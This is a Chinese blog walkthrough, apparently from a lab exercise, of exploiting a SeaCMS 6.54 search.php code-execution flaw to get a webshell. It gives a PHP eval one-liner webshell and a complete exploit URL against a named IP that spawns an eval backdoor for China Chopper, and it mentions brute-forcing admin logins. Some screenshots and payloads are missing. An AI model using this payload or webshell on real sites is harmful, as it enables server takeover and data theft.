记一次海洋cms任意代码执行漏洞拿shell(url一句话)

2023-05-09,,

实验环境:海洋CMS6.54(后续版本已该洞已补)

1、后台登录尝试

这个站点是个测试站,站里没什么数据。

进入admin.php,是带验证码的后台登录系统,没有验证码的可以用bp爆破。有验证码的也有一个爆破软件,可以识别验证码的,但是试了试用不了。

后天失败。。。

2、网上搜集该CMS的漏洞

刚才也说了,这个站没什么数据,都是空的,无上传点。

百度搜索海洋CMS的漏洞,有好几个版本的。

1)v6.28:https://www.uedbox.com/seacms-v628-0day/

尝试失败,该版本的漏洞已不可用。

2)v6.45:参考https://www.freebuf.com/vuls/150042.html  和https://bbs.ichunqiu.com/thread-35140-1-5.html

漏洞是search.php的任意代码执行漏洞,

首页有许多的查询选项,我们随便选一个:

看到url:

然后使用hackbar进行上传:

执行payload后看到:(如果失败,换一个查询方式)

说明我们payload里的phpInfo()函数执行成功,该漏洞已成功被利用。

3、运用system()执行命令

将payload稍作修改:

在system()中就可以在服务器上执行命令了,但权限可能不够,如果权限可以的话,可以利用该语句写入一句话木马:

file_put_concents("connect.php","<?php @eval($_POST[pass]);?>"),然后连接菜刀即可。

这里只有读的权限,无法写入一句话。

4、拿shell

这是一个骚操作吧,尝试了很多次,网上查了一大堆,最终还是卡死,幸好有学长指点迷津,方柳暗花明。

还是用一句话连接,用system()无法写入,但可以这样连接。

首先看懂这个payload,我们知道phpinfo()执行成功,可能不太清楚原理,但大致能看懂,phpinfo()是利用这么一个漏洞,分开来写的(payload最后):9[]=ph&9[]=pinfo()。我们payload前面看,原来有一个分开的eval ($_POST[9])呀,这不是一句话嘛。但是要怎么利用呢,无法写入php文件的呀。

这个操作骚就骚在了用url来传递这个payload,而且只需传过去就能用菜刀连上。

利用payload构造url:http://222.22.65.134:15001/HaiYangCMS/search.php?searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))

放入菜刀,那密码是什么呢,是9[],不是9。

于是乎,连接成功。

记一次海洋cms任意代码执行漏洞拿shell(url一句话)的相关教程结束。

《记一次海洋cms任意代码执行漏洞拿shell(url一句话).doc》

下载本文的Word格式文档,以方便收藏与打印。